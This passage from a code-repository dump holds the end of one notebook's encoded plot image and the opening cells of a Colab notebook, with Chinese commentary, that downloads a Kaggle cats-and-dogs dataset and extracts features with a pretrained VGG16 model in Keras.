IJuyZMBoaY2avAEGAVsJ2QuAZH6w8FegDjUzd29xnuXuTuRR06dKh2MCtWhAfjJkwIvbaKiDRk2SSI5slVPNF0yyy2WwV0TpovjJaVcfcP3X2Uu/cDLoqWrSdcbSxy9xXuXkqoeoq9ufjyy6FJk9Ctt4hIQ5dNgvjCzMpOzmY2APgyi+0WAD3NrLuZNQVOAR5KLmBm7aMeYwEuBG5P2nZPM0tcFhxN+baLGvfGG6FTvp/+NIwYJyLS0GXTBnEecK+ZfUjoh2lfwhCkFXL3UjM7B3gcKABud/c3zGwqUOzuDwFDgavNzIFngbOjbbeb2WRCR4FGeDAv1jEoLrkE2rSBCy6I81NEROqOCseDKCtk1gToFc0uc/dtsUZVBdUZD2LBAhg4EK64Ai69tIYDExGpxSoaD6LSKiYzOxto5e6vu/vrQGszO6umg8yniy+G9u3h/PPzHYmISO2RTRvET6KGYwDc/TPgJ/GFlFtvvw1PPQVTpoQqJhERCbJpgygwM/OoLip6QrrejMp8wAGwdCnU0GMUIiL1RjYJ4jFgjpn9MZo/E3g0vpByr1evysuIiDQ02SSIXxCeVp4YzS8h3MkkIiL1WKVtEO6+A3gJWEnoX+lo4M14wxIRkXzLeAVhZgcAY6LXp8AcAHc/KjehiYhIPlVUxfQW8BxwgrsvBzAz3QgqItJAVFTFNApYDcwzs1vN7NuEJ6lFRKQByJgg3P1Bdz8FOJAwVsN5wN5mdouZHZurAEVEJD+yaaT+wt3/Eo1NXQi8SrizSURE6rHdGpPa3T+LxmD4dlwBiYhI7bBbCUJERBoOJQgREUlLCUJERNJSghARkbSUIEREJC0lCBERSSvWBGFmw8xsmZktN7MpadZ3NbO5ZrbEzOabWWHSuu1mtih6PRRnnCIisqtsuvuukmhgoenAd4ASYIGZPeTuS5OKXQ/c6e4zzexo4GrgtGjdl+7eN674RESkYnFeQQwElrv7CnffCswGRqSU6Q08HU3PS7NeRETyJM4E0Qn4IGm+JFqWbDGhU0CAkUAbM2sXzTc3s2Iz+7eZ/Xe6DzCzCVGZ4jVr1tRk7CIiDV6+G6knA0PM7FVgCLAK2B6t6+ruRcCpwI1mtn/qxlG3H0XuXtShQ4ecBS0i0hDE1gZBONl3TpovjJaVcfcPia4gzKw18D13Xx+tWxW9rzCz+UA/4N0Y4xURkSRxXkEsAHqaWXczawqcApS7G8nM2ptZIoYLgduj5XuZWbNEGeAIILlxW0REYhZbgnD3UuAc4HHCGNb3uPsbZjbVzE6Mig0FlpnZ28A+wLRo+UFAsZktJjReX5Ny95OIiMTM3D3fMdSIoqIiLy4uzncYIiJ1ipm9ErX37iLfjdQiIlJLKUGIiEhaShAiIpKWEoSIiKSlBCEiImkpQYiISFpKECIikpYShIiIpKUEISIiaSlBiIhIWkoQIiKSlhKEiIikpQQhIiJpKUGIiEhaShAiIpKWEoSIiKSlBCEiImkpQYiISFqxJggzG2Zmy8xsuZlNSbO+q5nNNbMlZjbfzApT1n/NzErM7OY44xQRkV3FliDMrACYDgwHegNjzKx3SrHrgTvd/RBgKnB1yvorgWfjilFERDKL8wpiILDc3Ve4+1ZgNjAipUxv4Oloel7yejMbAOwDPBFjjCIikkGcCaIT8EHSfEm0LNliYFQ0PRJoY2btzKwR8GtgckUfYGYTzKzYzIrXrFlTQ2GLiAjkv5F6MjDEzF4FhgCrgO3AWcAj7l5S0cbuPsPdi9y9qEOHDvFHKyLSgDSOcd+rgM5J84XRsjLu/iHRFYSZtQa+5+7rzexwYLCZnaCkZIkAABGoSURBVAW0Bpqa2SZ336WhW0RE4hFnglgA9DSz7oTEcApwanIBM2sPrHP3HcCFwO0A7j42qcx4oEjJQUQkt2KrYnL3UuAc4HHgTeAed3/DzKaa2YlRsaHAMjN7m9AgPS2ueEREZPeYu+c7hhpRVFTkxcXF+Q5DRKROMbNX3L0o3bp8N1KLiEgtpQQhIiJpKUGIiEhacd7FJCINxLZt2ygpKWHLli35DkUyaN68OYWFhTRp0iTrbZQgRKTaSkpKaNOmDd26dcPM8h2OpHB31q5dS0lJCd27d896O1UxiUi1bdmyhXbt2ik51FJmRrt27Xb7Ck8JQkRqhJJD7VaVfx8lCBERSUsJQkRybtYs6NYNGjUK77NmVW9/a9eupW/fvvTt25d9992XTp06lc1v3bq1wm2Li4s599xzK/2MQYMGVS/IOkiN1CKSU7NmwYQJsHlzmH///TAPMHZs5u0q0q5dOxYtWgTA5ZdfTuvWrZk8eedoAaWlpTRunP50V1RURFFR2geJy3nhhReqFlwdpisIEcmpiy7amRwSNm8Oy2vS+PHjmThxIocddhgXXHABL7/8Mocffjj9+vVj0KBBLFu2DID58+dzwgknACG5nHHGGQwdOpQePXpw0003le2vdevWZeWHDh3K6NGjOfDAAxk7diyJLoseeeQRDjzwQAYMGMC5555btt9kK1euZPDgwfTv35/+/fuXSzzXXnstBx98MH369GHKlNA/6fLlyznmmGPo06cP/fv35913363ZA1UBXUGISE795z+7t7w6SkpKeOGFFygoKODzzz/nueeeo3Hjxjz11FP88pe/5L777ttlm7feeot58+axceNGevXqxaRJk3Z5duDVV1/ljTfeYL/99uOII47gX//6F0VFRZx55pk8++yzdO/enTFjxqSNae+99+bJJ5+kefPmvPPOO4wZM4bi4mIeffRR/v73v/PSSy/RsmVL1q1bB8DYsWOZMmUKI0eOZMuWLezYsaPmD1QGShAiklNduoRqpXTLa9pJJ51EQUEBABs2bGDcuHG88847mBnbtm1Lu83xxx9Ps2bNaNasGXvvvTcff/wxhYWF5coMHDiwbFnfvn1ZuXIlrVu3pkePHmXPGYwZM4YZM2bssv9t27ZxzjnnsGjRIgoKCnj77bcBeOqppzj99NNp2bIlAG3btmXjxo2sWrWKkSNHAuFht1xSFZOI5NS0aRCdA8u0bBmW17RWrVqVTV9yySUcddRRvP766zz88MMZnwlo1qxZ2XRBQQGlpaVVKpPJDTfcwD777MPixYspLi6utBE9n5QgRCSnxo6FGTOga1cwC+8zZlS9gTpbGzZsoFOnTgD8+c9/rvH99+rVixUrVrBy5UoA5syZkzGOjh070qhRI+666y62b98OwHe+8x3uuOMONkcNNOvWraNNmzYUFhby4IMPAvDVV1+Vrc8FJQgRybmxY2HlStixI7zHnRwALrjgAi688EL69eu3W7/4s9WiRQt+//vfM2zYMAYMGECbNm3YY489dil31llnMXPmTPr06cNbb71VdpUzbNgwTjzxRIqKiujbty/XX389AHfddRc33XQThxxyCIMGDeKjjz6q8dgz0YBBIlJtb775JgcddFC+w8i7TZs20bp1a9yds88+m549e3L++efnO6wy6f6dNGCQiEgO3HrrrfTt25dvfOMbbNiwgTPPPDPfIVVLrHcxmdkw4LdAAfAnd78mZX1X4HagA7AO+IG7l0TLHyAksCbA79z9D3HGKiJSXeeff36tumKortiuIMysAJgODAd6A2PMrHdKseuBO939EGAqcHW0fDVwuLv3BQ4DppjZfnHFKiIiu4qzimkgsNzdV7j7VmA2MCKlTG/g6Wh6XmK9u29196+i5c1ijlNERNKI88TbCfggab4kWpZsMTAqmh4JtDGzdgBm1tnMlkT7uNbdP0z9ADObYGbFZla8Zs2aGv8DREQasnz/Mp8MDDGzV4EhwCpgO4C7fxBVPX0dGGdm+6Ru7O4z3L3I3Ys6dOiQy7hFROq9OBPEKqBz0nxhtKyMu3/o7qPcvR9wUbRsfWoZ4HVgcIyxikgddtRRR/H444+XW3bjjTcyadKkjNsMHTqUxK3xxx13HOvXr9+lzOWXX172PEImDz74IEuXLi2bv/TSS3nqqad2J/xaK84EsQDoaWbdzawpcArwUHIBM2tvZokYLiTc0YSZFZpZi2h6L+BbwLIYYxWROmzMmDHMnj273LLZs2dn7DAv1SOPPMKee+5Zpc9OTRBTp07lmGOOqdK+apvYbnN191IzOwd4nHCb6+3u/oaZTQWK3f0hYChwtZk58CxwdrT5QcCvo+UGXO/ur8UVq4jUnPPOg2hohhrTty/ceGPm9aNHj+biiy9m69atNG3alJUrV/Lhhx8yePBgJk2axIIFC/jyyy8ZPXo0V1xxxS7bd+vWjeLiYtq3b8+0adOYOXMme++9N507d2bAgAFAeMZhxowZbN26la9//evcddddLFq0iIceeohnnnmGq666ivvuu48rr7ySE044gdGjRzN37lwmT55MaWkphx56KLfccgvNmjWjW7dujBs3jocffpht27Zx7733cuCBB5aLaeXKlZx22ml88cUXANx8881lgxZde+213H333TRq1Ijhw4dzzTXXsHz5ciZOnMiaNWsoKCjg3nvvZf/996/WcY+1DcLdH3H3A9x9f3efFi27NEoOuPvf3L1nVObHiTuX3P1Jdz/E3ftE77t2iSgiEmnbti0DBw7k0UcfBcLVw/e//33MjGnTplFcXMySJUt45plnWLJkScb9vPLKK8yePZtFixbxyCOPsGDBgrJ1o0aNYsGCBSxevJiDDjqI2267jUGDBnHiiSdy3XXXsWjRonIn5C1btjB+/HjmzJnDa6+9RmlpKbfcckvZ+vbt27Nw4UImTZqUthor0S34woULmTNnTt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\n",
644 | "text/plain": [
645 | ""
646 | ]
647 | },
648 | "metadata": {
649 | "tags": [],
650 | "needs_background": "light"
651 | }
652 | }
653 | ]
654 | }
655 | ]
656 | }
657 |
--------------------------------------------------------------------------------
/keras-ml/keras-cat-vs-dog-cnn-feature-extraction.ipynb:
--------------------------------------------------------------------------------
1 | {
2 | "nbformat": 4,
3 | "nbformat_minor": 0,
4 | "metadata": {
5 | "colab": {
6 | "provenance": []
7 | },
8 | "kernelspec": {
9 | "name": "python3",
10 | "display_name": "Python 3"
11 | },
12 | "accelerator": "GPU"
13 | },
14 | "cells": [
15 | {
16 | "cell_type": "markdown",
17 | "metadata": {
18 | "id": "zHwoKE0CaxIC"
19 | },
20 | "source": [
21 | "# Keras 利用預先訓練神經網路特徵萃取法訓練貓狗分類器\n",
22 | "\n",
23 | "## 透過 Kaggle API 下載 Play Dataset\n",
24 | "\n",
25 | "先從 Kaggle 下載資料集,這裡需要註冊 Kaggle 的帳號,並且取得 API Key,記得置換為自己的 API Token 才能下載資料。"
26 | ]
27 | },
28 | {
29 | "cell_type": "code",
30 | "metadata": {
31 | "id": "TAQRWCI47MBK",
32 | "colab": {
33 | "base_uri": "https://localhost:8080/",
34 | "height": 136
35 | },
36 | "outputId": "2347c5cd-7a63-4853-8b07-6c19016c64fd"
37 | },
38 | "source": [
39 | "#!pip install kaggle\n",
40 | "api_token = {\"username\":\"your_username\",\"key\":\"\"}\n",
41 | "import json\n",
42 | "import zipfile\n",
43 | "import os\n",
44 | "\n",
45 | "if not os.path.exists(\"/root/.kaggle\"):\n",
46 | " os.makedirs(\"/root/.kaggle\")\n",
47 | "\n",
48 | "with open('/root/.kaggle/kaggle.json', 'w') as file:\n",
49 | " json.dump(api_token, file)\n",
50 | "!chmod 600 /root/.kaggle/kaggle.json\n",
51 | "\n",
52 | "if not os.path.exists(\"/kaggle\"):\n",
53 | " os.makedirs(\"/kaggle\")\n",
54 | "os.chdir('/kaggle')\n",
55 | "!kaggle datasets download -d chetankv/dogs-cats-images\n",
56 | "\n",
57 | "!ls -alh '/kaggle'"
58 | ],
59 | "execution_count": null,
60 | "outputs": [
61 | {
62 | "output_type": "stream",
63 | "text": [
64 | "dogs-cats-images.zip: Skipping, found more recently modified local copy (use --force to force download)\n",
65 | "total 435M\n",
66 | "drwxr-xr-x 4 root root 4.0K May 21 04:24 .\n",
67 | "drwxr-xr-x 1 root root 4.0K May 21 04:24 ..\n",
68 | "drwxr-xr-x 4 root root 4.0K May 21 04:24 dataset\n",
69 | "-rw-r--r-- 1 root root 435M May 21 04:24 dogs-cats-images.zip\n",
70 | "drwxr-xr-x 3 root root 4.0K May 21 04:24 'dog vs cat'\n"
71 | ],
72 | "name": "stdout"
73 | }
74 | ]
75 | },
76 | {
77 | "cell_type": "code",
78 | "metadata": {
79 | "id": "cNSZTgOUDfl8",
80 | "colab": {
81 | "base_uri": "https://localhost:8080/",
82 | "height": 34
83 | },
84 | "outputId": "0c5f8222-e76c-4ad1-8158-6ddf433be69d"
85 | },
86 | "source": [
87 | "!unzip 'dogs-cats-images.zip' > /dev/null"
88 | ],
89 | "execution_count": null,
90 | "outputs": [
91 | {
92 | "output_type": "stream",
93 | "text": [
94 | "replace dataset/test_set/cats/cat.4001.jpg? [y]es, [n]o, [A]ll, [N]one, [r]ename: A\n"
95 | ],
96 | "name": "stdout"
97 | }
98 | ]
99 | },
100 | {
101 | "cell_type": "markdown",
102 | "metadata": {
103 | "id": "0fICHreebcaA"
104 | },
105 | "source": [
106 | "看看資料的基本結構,貓與狗訓練資料夾各有 4000 張,測試資料夾各有 1000 張影像"
107 | ]
108 | },
109 | {
110 | "cell_type": "code",
111 | "metadata": {
112 | "id": "c-fK4ybQD1df",
113 | "colab": {
114 | "base_uri": "https://localhost:8080/",
115 | "height": 153
116 | },
117 | "outputId": "2b36f0e7-ae1f-4e3b-81e1-58f2b25eb633"
118 | },
119 | "source": [
120 | "!echo \"training_set cats: \"\n",
121 | "!echo `ls -alh '/kaggle/dataset/training_set/cats' | grep cat | wc -l`\n",
122 | "!echo \"training_set dogs: \"\n",
123 | "!echo `ls -alh '/kaggle/dataset/training_set/dogs' | grep dog | wc -l`\n",
124 | "!echo \"test_set cats: \"\n",
125 | "!echo `ls -alh '/kaggle/dataset/test_set/cats' | grep cat | wc -l`\n",
126 | "!echo \"test_set dogs: \"\n",
127 | "!echo `ls -alh '/kaggle/dataset/test_set/dogs' | grep dog | wc -l`"
128 | ],
129 | "execution_count": null,
130 | "outputs": [
131 | {
132 | "output_type": "stream",
133 | "text": [
134 | "training_set cats: \n",
135 | "4000\n",
136 | "training_set dogs: \n",
137 | "4000\n",
138 | "test_set cats: \n",
139 | "1000\n",
140 | "test_set dogs: \n",
141 | "1000\n"
142 | ],
143 | "name": "stdout"
144 | }
145 | ]
146 | },
147 | {
148 | "cell_type": "code",
149 | "metadata": {
150 | "id": "YnwrNtM5BxAs",
151 | "colab": {
152 | "base_uri": "https://localhost:8080/",
153 | "height": 119
154 | },
155 | "outputId": "8e387d85-8186-43f3-86c7-735e2003ce21"
156 | },
157 | "source": [
158 | "\n",
159 | "\n",
160 | "import os, shutil\n",
161 | "\n",
162 | "# The path to the directory where the original\n",
163 | "# dataset was uncompressed\n",
164 | "original_dataset_dir = '/kaggle/dataset'\n",
165 | "\n",
166 | "# The directory where we will\n",
167 | "# store our smaller dataset\n",
168 | "base_dir = '/play'\n",
169 | "if not os.path.exists(base_dir):\n",
170 | " os.mkdir(base_dir)\n",
171 | "\n",
172 | "# Directories for our training,\n",
173 | "# validation and test splits\n",
174 | "train_dir = os.path.join(base_dir, 'train')\n",
175 | "if not os.path.exists(train_dir):\n",
176 | " os.mkdir(train_dir)\n",
177 | "validation_dir = os.path.join(base_dir, 'validation')\n",
178 | "if not os.path.exists(validation_dir):\n",
179 | " os.mkdir(validation_dir)\n",
180 | "test_dir = os.path.join(base_dir, 'test')\n",
181 | "if not os.path.exists(test_dir):\n",
182 | " os.mkdir(test_dir)\n",
183 | "\n",
184 | "# Directory with our training cat pictures\n",
185 | "train_cats_dir = os.path.join(train_dir, 'cats')\n",
186 | "if not os.path.exists(train_cats_dir):\n",
187 | " os.mkdir(train_cats_dir)\n",
188 | "\n",
189 | "# Directory with our training dog pictures\n",
190 | "train_dogs_dir = os.path.join(train_dir, 'dogs')\n",
191 | "if not os.path.exists(train_dogs_dir):\n",
192 | " os.mkdir(train_dogs_dir)\n",
193 | "\n",
194 | "# Directory with our validation cat pictures\n",
195 | "validation_cats_dir = os.path.join(validation_dir, 'cats')\n",
196 | "if not os.path.exists(validation_cats_dir):\n",
197 | " os.mkdir(validation_cats_dir)\n",
198 | "\n",
199 | "# Directory with our validation dog pictures\n",
200 | "validation_dogs_dir = os.path.join(validation_dir, 'dogs')\n",
201 | "if not os.path.exists(validation_dogs_dir):\n",
202 | " os.mkdir(validation_dogs_dir)\n",
203 | "\n",
204 | "# Directory with our validation cat pictures\n",
205 | "test_cats_dir = os.path.join(test_dir, 'cats')\n",
206 | "if not os.path.exists(test_cats_dir):\n",
207 | " os.mkdir(test_cats_dir)\n",
208 | "\n",
209 | "# Directory with our validation dog pictures\n",
210 | "test_dogs_dir = os.path.join(test_dir, 'dogs')\n",
211 | "if not os.path.exists(test_dogs_dir):\n",
212 | " os.mkdir(test_dogs_dir)\n",
213 | "\n",
214 | "# Copy first 1000 cat images to train_cats_dir\n",
215 | "fnames = ['cat.{}.jpg'.format(i) for i in range(1, 1001)]\n",
216 | "for fname in fnames:\n",
217 | " src = os.path.join(original_dataset_dir, 'training_set', 'cats', fname)\n",
218 | " dst = os.path.join(train_cats_dir, fname)\n",
219 | " shutil.copyfile(src, dst)\n",
220 | "\n",
221 | "# Copy next 500 cat images to validation_cats_dir\n",
222 | "fnames = ['cat.{}.jpg'.format(i) for i in range(4001, 4501)]\n",
223 | "for fname in fnames:\n",
224 | " src = os.path.join(original_dataset_dir, 'test_set', 'cats', fname)\n",
225 | " dst = os.path.join(validation_cats_dir, fname)\n",
226 | " shutil.copyfile(src, dst)\n",
227 | " \n",
228 | "# Copy next 500 cat images to test_cats_dir\n",
229 | "fnames = ['cat.{}.jpg'.format(i) for i in range(4501, 5001)]\n",
230 | "for fname in fnames:\n",
231 | " src = os.path.join(original_dataset_dir, 'test_set', 'cats', fname)\n",
232 | " dst = os.path.join(test_cats_dir, fname)\n",
233 | " shutil.copyfile(src, dst)\n",
234 | " \n",
235 | "# Copy first 1000 dog images to train_dogs_dir\n",
236 | "fnames = ['dog.{}.jpg'.format(i) for i in range(1, 1001)]\n",
237 | "for fname in fnames:\n",
238 | " src = os.path.join(original_dataset_dir, 'training_set', 'dogs', fname)\n",
239 | " dst = os.path.join(train_dogs_dir, fname)\n",
240 | " shutil.copyfile(src, dst)\n",
241 | " \n",
242 | "# Copy next 500 dog images to validation_dogs_dir\n",
243 | "fnames = ['dog.{}.jpg'.format(i) for i in range(4001, 4501)]\n",
244 | "for fname in fnames:\n",
245 | " src = os.path.join(original_dataset_dir, 'test_set', 'dogs', fname)\n",
246 | " dst = os.path.join(validation_dogs_dir, fname)\n",
247 | " shutil.copyfile(src, dst)\n",
248 | " \n",
249 | "# Copy next 500 dog images to test_dogs_dir\n",
250 | "fnames = ['dog.{}.jpg'.format(i) for i in range(4501, 5001)]\n",
251 | "for fname in fnames:\n",
252 | " src = os.path.join(original_dataset_dir, 'test_set', 'dogs', fname)\n",
253 | " dst = os.path.join(test_dogs_dir, fname)\n",
254 | " shutil.copyfile(src, dst)\n",
255 | "\n",
256 | "print('total training cat images:', len(os.listdir(train_cats_dir)))\n",
257 | "print('total training dog images:', len(os.listdir(train_dogs_dir)))\n",
258 | "print('total validation cat images:', len(os.listdir(validation_cats_dir)))\n",
259 | "print('total validation dog images:', len(os.listdir(validation_dogs_dir)))\n",
260 | "print('total test cat images:', len(os.listdir(test_cats_dir)))\n",
261 | "print('total test dog images:', len(os.listdir(test_dogs_dir)))"
262 | ],
263 | "execution_count": null,
264 | "outputs": [
265 | {
266 | "output_type": "stream",
267 | "text": [
268 | "total training cat images: 1000\n",
269 | "total training dog images: 1000\n",
270 | "total validation cat images: 500\n",
271 | "total validation dog images: 500\n",
272 | "total test cat images: 500\n",
273 | "total test dog images: 500\n"
274 | ],
275 | "name": "stdout"
276 | }
277 | ]
278 | },
279 | {
280 | "cell_type": "markdown",
281 | "metadata": {
282 | "id": "pChQEVYw0GL9"
283 | },
284 | "source": [
285 | "## 預先訓練神經網路的特徵萃取法\n",
286 | "\n",
287 | "我們知道 CNN 卷積層的訓練需要很多數據與運算資源,在資料集不足的情況下,從頭訓練卷積層不是一個聰明的方法。何不直接採用大神訓練好的卷積層,加速 AI Time to Market。由於卷積網路可以學習影像特徵,越接近 Input 的 Layer 所能理解的特徵越「普適」而且抽象,像是紋理、顏色等等。越後面的 Layer 所學習到的特徵越接近物體的描述,像是耳朵、眼睛等等。\n",
288 | "\n",
289 | "這裡我們採用 VGG16 Model,並提取 imagenet 包含 CNN 網路,這裡的網路已經經過大量的訓練,可以分辨圖片中的各種特徵。我們可以看到 CNN 在沒有連接層的情況下有 14,714,688 個參數,可見訓練過程實在很耗費運算。"
290 | ]
291 | },
292 | {
293 | "cell_type": "code",
294 | "metadata": {
295 | "id": "MZEnme1hAO8X",
296 | "colab": {
297 | "base_uri": "https://localhost:8080/",
298 | "height": 799
299 | },
300 | "outputId": "a4c10d68-c26a-4f3f-9da5-36a4bb004aad"
301 | },
302 | "source": [
303 | "# 載入 VGG 網路 Convolutional Base\n",
304 | "from keras.applications import VGG16\n",
305 | "\n",
306 | "conv_base = VGG16(weights='imagenet',\n",
307 | " include_top=False, # 不包含 Full Connection\n",
308 | " input_shape=(150, 150, 3))\n",
309 | "\n",
310 | "conv_base.summary()"
311 | ],
312 | "execution_count": null,
313 | "outputs": [
314 | {
315 | "output_type": "stream",
316 | "text": [
317 | "Model: \"vgg16\"\n",
318 | "_________________________________________________________________\n",
319 | "Layer (type) Output Shape Param # \n",
320 | "=================================================================\n",
321 | "input_2 (InputLayer) (None, 150, 150, 3) 0 \n",
322 | "_________________________________________________________________\n",
323 | "block1_conv1 (Conv2D) (None, 150, 150, 64) 1792 \n",
324 | "_________________________________________________________________\n",
325 | "block1_conv2 (Conv2D) (None, 150, 150, 64) 36928 \n",
326 | "_________________________________________________________________\n",
327 | "block1_pool (MaxPooling2D) (None, 75, 75, 64) 0 \n",
328 | "_________________________________________________________________\n",
329 | "block2_conv1 (Conv2D) (None, 75, 75, 128) 73856 \n",
330 | "_________________________________________________________________\n",
331 | "block2_conv2 (Conv2D) (None, 75, 75, 128) 147584 \n",
332 | "_________________________________________________________________\n",
333 | "block2_pool (MaxPooling2D) (None, 37, 37, 128) 0 \n",
334 | "_________________________________________________________________\n",
335 | "block3_conv1 (Conv2D) (None, 37, 37, 256) 295168 \n",
336 | "_________________________________________________________________\n",
337 | "block3_conv2 (Conv2D) (None, 37, 37, 256) 590080 \n",
338 | "_________________________________________________________________\n",
339 | "block3_conv3 (Conv2D) (None, 37, 37, 256) 590080 \n",
340 | "_________________________________________________________________\n",
341 | "block3_pool (MaxPooling2D) (None, 18, 18, 256) 0 \n",
342 | "_________________________________________________________________\n",
343 | "block4_conv1 (Conv2D) (None, 18, 18, 512) 1180160 \n",
344 | "_________________________________________________________________\n",
345 | "block4_conv2 (Conv2D) (None, 18, 18, 512) 2359808 \n",
346 | "_________________________________________________________________\n",
347 | "block4_conv3 (Conv2D) (None, 18, 18, 512) 2359808 \n",
348 | "_________________________________________________________________\n",
349 | "block4_pool (MaxPooling2D) (None, 9, 9, 512) 0 \n",
350 | "_________________________________________________________________\n",
351 | "block5_conv1 (Conv2D) (None, 9, 9, 512) 2359808 \n",
352 | "_________________________________________________________________\n",
353 | "block5_conv2 (Conv2D) (None, 9, 9, 512) 2359808 \n",
354 | "_________________________________________________________________\n",
355 | "block5_conv3 (Conv2D) (None, 9, 9, 512) 2359808 \n",
356 | "_________________________________________________________________\n",
357 | "block5_pool (MaxPooling2D) (None, 4, 4, 512) 0 \n",
358 | "=================================================================\n",
359 | "Total params: 14,714,688\n",
360 | "Trainable params: 14,714,688\n",
361 | "Non-trainable params: 0\n",
362 | "_________________________________________________________________\n"
363 | ],
364 | "name": "stdout"
365 | }
366 | ]
367 | },
368 | {
369 | "cell_type": "markdown",
370 | "metadata": {
371 | "id": "B3utWju6cYr2"
372 | },
373 | "source": [
374 | "接下來透過已經訓練好的卷積網路來萃取特徵,這裡的程式將圖片影像直接送入卷積網路,透過 predict 將計算出的數值儲存起來,後續會用來訓練 Full Connection 分類網路。"
375 | ]
376 | },
377 | {
378 | "cell_type": "code",
379 | "metadata": {
380 | "id": "9a9RRsbT9QQI",
381 | "colab": {
382 | "base_uri": "https://localhost:8080/",
383 | "height": 68
384 | },
385 | "outputId": "dab3c530-d980-4e59-dc2c-16c6aadf6759"
386 | },
387 | "source": [
388 | "import os\n",
389 | "import numpy as np\n",
390 | "from keras.preprocessing.image import ImageDataGenerator\n",
391 | "\n",
392 | "datagen = ImageDataGenerator(rescale=1./255)\n",
393 | "batch_size = 20\n",
394 | "\n",
